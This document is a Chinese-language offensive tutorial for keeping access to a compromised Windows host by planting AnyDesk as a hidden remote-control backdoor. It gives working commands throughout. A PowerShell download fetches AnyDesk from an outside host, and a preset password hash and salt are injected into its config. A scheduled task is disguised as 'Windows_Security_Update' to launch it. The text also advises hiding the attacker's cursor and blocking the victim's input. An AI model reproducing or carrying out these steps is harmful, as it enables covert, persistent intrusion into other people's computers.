anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小
注意事项
假使我们在windows上拿到目标的shell,为了方便模拟就上线了一个cs的shell
然后我们可以通过命令让目标下载anydesk
powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe")
其实最好不要保存在c盘下,因为域用户没有足够的权限,所以最好是找到域用户有写权限的文件夹
可以看到我们已经将文件下载了下来(由于是模拟环境就随便点,真实环境下别下载到桌面)
但是不着急执行,原因是我们不知道目标的凭证,自然无法连接
打开自己本机的anydesk,会弹出一个窗口
可以发现,anydesk连接的方式并非是局域网,而是通过互联网,一断网就无法使用
所以我们必须知道目标的ID号才可以连接,所以我们可以在本地生成anydesk的用户配置文件,然后再上传到目标主机,这样不仅知道了目标anydesk的id号,而且使用的还是本地设置的密码
首先我们要记住自己的ID号
然后设置访问密码
随便设置,自己知道就行了
应用后彻底退出anydesk,退出时不选择安装
生成的配置文件将会储存在
C:\Users\你的用户名\AppData\Roaming\AnyDesk
然后将四个文件保存下来,然后上传到目标的主机,上传完后把此处的配置文件全部删除,目的是让anydesk生成一个新的配置
由于我们还没有在目标主机打开过anydesk,所以要自己新建一个AnyDesk文件夹,然后将文件复制进去
拓展:
这几步不是必须,按需操作
连接前可以设置连接的用户名,如果不设置,就会用当前的用户名
有可能会暴露身份
然后通过cs远程执行anydesk,然后在攻击机远程连接
输入刚才设置的密码
成功连接
如果有管理员权限,可以开启“禁止用户输入”、“启用隐私模式”,否则对方就可以看得到攻击方的鼠标
假使我们只能通过linux拿到目标的shell,就无法像之前那样通过生成配置文件然后拷贝过去,所以我们就只能对配置文件进行修改
为了方便模拟我上线了一个msf的shell
首先我们要让目标下载anydesk,方法和之前一样
powershell (New-Object System.Net.WebClient).DownloadFile(“https://download.anydesk.com/AnyDesk.exe","C:\anydesk.exe")
下载完后我们要让其启动,可以直接执行,如果无法直接执行,可以使用计划任务执行,如果要使用计划任务,首先要知道当前用户是谁
powershell "(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"explorer.exe\"').GetOwner().user) -split '\n')[0]
确认好用户后就可以创建计划任务
schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\Users\testuser.G1TS\Desktop\anydesk.exe" /RU Administrator
然后执行计划任务
schtasks /run /tn Windows_Security_Update
等过了几秒后,anydesk连接上服务器后再把进程杀死
tasklist
taskkill /f /pid 2692
然后再添加密码到配置文件中(密码为AnyDeskGetAccess)
echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf echo ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf
查看目标的ID
type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf
然后让目标机器运行anydesk,在连接即可